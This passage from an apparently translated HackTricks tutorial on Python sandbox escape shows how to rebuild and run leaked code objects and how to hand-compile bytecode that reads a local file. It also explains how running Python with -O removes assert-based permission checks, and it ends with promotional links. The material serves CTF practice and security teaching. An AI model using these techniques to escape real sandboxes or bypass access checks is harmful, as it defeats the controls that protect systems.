|
||
3 STORE_FAST 1 (1)
|
||
6 LOAD_CONST 2 (2)
|
||
9 STORE_FAST 2 (2)
|
||
12 LOAD_CONST 3 (3)
|
||
15 LOAD_CONST 4 (4)
|
||
18 BUILD_LIST 2
|
||
21 STORE_FAST 3 (3)
|
||
24 LOAD_FAST 0 (0)
|
||
27 LOAD_FAST 2 (2)
|
||
30 COMPARE_OP 2 (==)
|
||
33 POP_JUMP_IF_FALSE 40
|
||
36 LOAD_CONST 5 (5)
|
||
39 RETURN_VALUE
|
||
>> 40 LOAD_CONST 6 (6)
|
||
43 RETURN_VALUE
|
||
44 LOAD_CONST 0 (0)
|
||
47 RETURN_VALUE
|
||
```
|
||
## 编译 Python
|
||
|
||
现在,让我们想象一下,您可以以某种方式**转储您无法执行的函数的信息**,但您**需要**去**执行**它。\
|
||
就像在以下示例中,您**可以访问该函数的代码对象**,但仅通过读取反汇编,您**不知道如何计算标志**(_想象一个更复杂的 `calc_flag` 函数_)
|
||
```python
|
||
def get_flag(some_input):
|
||
var1=1
|
||
var2="secretcode"
|
||
var3=["some","array"]
|
||
def calc_flag(flag_rot2):
|
||
return ''.join(chr(ord(c)-2) for c in flag_rot2)
|
||
if some_input == var2:
|
||
return calc_flag("VjkuKuVjgHnci")
|
||
else:
|
||
return "Nope"
|
||
```
|
||
### 创建代码对象
|
||
|
||
首先,我们需要知道 **如何创建和执行代码对象**,以便我们可以创建一个来执行我们泄露的函数:
|
||
```python
|
||
code_type = type((lambda: None).__code__)
|
||
# Check the following hint if you get an error in calling this
|
||
code_obj = code_type(co_argcount, co_kwonlyargcount,
|
||
co_nlocals, co_stacksize, co_flags,
|
||
co_code, co_consts, co_names,
|
||
co_varnames, co_filename, co_name,
|
||
co_firstlineno, co_lnotab, freevars=None,
|
||
cellvars=None)
|
||
|
||
# Execution
|
||
eval(code_obj) #Execute as a whole script
|
||
|
||
# If you have the code of a function, execute it
|
||
mydict = {}
|
||
mydict['__builtins__'] = __builtins__
|
||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||
```
|
||
{% hint style="info" %}
|
||
根据 Python 版本,`code_type` 的 **参数** 可能有 **不同的顺序**。了解您正在运行的 Python 版本中参数的顺序的最佳方法是运行:
|
||
```
|
||
import types
|
||
types.CodeType.__doc__
|
||
'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
||
```
|
||
{% endhint %}
|
||
|
||
### 重建泄露的函数
|
||
|
||
{% hint style="warning" %}
|
||
在以下示例中,我们将直接从函数代码对象获取重建函数所需的所有数据。在一个**真实示例**中,执行函数**`code_type`**所需的所有**值**就是**你需要泄露的**内容。
|
||
{% endhint %}
|
||
```python
|
||
fc = get_flag.__code__
|
||
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
||
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
|
||
|
||
mydict = {}
|
||
mydict['__builtins__'] = __builtins__
|
||
function_type(code_obj, mydict, None, None, None)("secretcode")
|
||
#ThisIsTheFlag
|
||
```
|
||
### 绕过防御
|
||
|
||
在本文开头的前几个示例中,您可以看到 **如何使用 `compile` 函数执行任何 python 代码**。这很有趣,因为您可以 **在一行中执行整个脚本**,包括循环和其他内容(我们也可以使用 **`exec`** 做同样的事情)。\
|
||
无论如何,有时在本地机器上 **创建** 一个 **编译对象** 并在 **CTF 机器** 上执行它可能是有用的(例如,因为我们在 CTF 中没有 `compiled` 函数)。
|
||
|
||
例如,让我们手动编译并执行一个读取 _./poc.py_ 的函数:
|
||
```python
|
||
#Locally
|
||
def read():
|
||
return open("./poc.py",'r').read()
|
||
|
||
read.__code__.co_code
|
||
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
||
```
|
||
|
||
```python
|
||
#On Remote
|
||
function_type = type(lambda: None)
|
||
code_type = type((lambda: None).__code__) #Get <type 'type'>
|
||
consts = (None, "./poc.py", 'r')
|
||
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
||
names = ('open','read')
|
||
|
||
# And execute it using eval/exec
|
||
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
|
||
|
||
#You could also execute it directly
|
||
mydict = {}
|
||
mydict['__builtins__'] = __builtins__
|
||
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
||
function_type(codeobj, mydict, None, None, None)()
|
||
```
|
||
如果您无法访问 `eval` 或 `exec`,您可以创建一个 **适当的函数**,但直接调用它通常会失败,错误信息为:_构造函数在受限模式下不可访问_。因此,您需要一个 **不在受限环境中的函数来调用这个函数。**
|
||
```python
|
||
#Compile a regular print
|
||
ftype = type(lambda: None)
|
||
ctype = type((lambda: None).func_code)
|
||
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
||
f(42)
|
||
```
|
||
## 反编译已编译的 Python
|
||
|
||
使用像 [**https://www.decompiler.com/**](https://www.decompiler.com) 这样的工具可以 **反编译** 给定的已编译 Python 代码。
|
||
|
||
**查看这个教程**:
|
||
|
||
{% content-ref url="../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md" %}
|
||
[.pyc.md](../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md)
|
||
{% endcontent-ref %}
|
||
|
||
## 其他 Python
|
||
|
||
### 断言
|
||
|
||
使用参数 `-O` 执行的 Python 将删除断言语句和任何基于 **debug** 值的条件代码。\
|
||
因此,像这样的检查
|
||
```python
|
||
def check_permission(super_user):
|
||
try:
|
||
assert(super_user)
|
||
print("\nYou are a super user\n")
|
||
except AssertionError:
|
||
print(f"\nNot a Super User!!!\n")
|
||
```
|
||
将被绕过
|
||
|
||
## 参考文献
|
||
|
||
* [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
||
* [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
||
* [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
|
||
* [https://gynvael.coldwind.pl/n/python\_sandbox\_escape](https://gynvael.coldwind.pl/n/python\_sandbox\_escape)
|
||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||
|
||
<figure><img src="../../../.gitbook/assets/pentest-tools.svg" alt=""><figcaption></figcaption></figure>
|
||
|
||
**从黑客的角度看待您的网络应用、网络和云**
|
||
|
||
**查找并报告具有实际业务影响的关键可利用漏洞。** 使用我们20多个自定义工具来映射攻击面,发现让您提升权限的安全问题,并使用自动化利用收集重要证据,将您的辛勤工作转化为有说服力的报告。
|
||
|
||
{% embed url="https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=spons" %}
|
||
|
||
{% hint style="success" %}
|
||
学习和实践AWS黑客攻击:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks培训AWS红队专家(ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||
学习和实践GCP黑客攻击:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks培训GCP红队专家(GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||
|
||
<details>
|
||
|
||
<summary>支持HackTricks</summary>
|
||
|
||
* 查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||
* **加入** 💬 [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或**在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**上关注我们。**
|
||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github库提交PR来分享黑客技巧。
|
||
|
||
</details>
|
||
{% endhint %}
|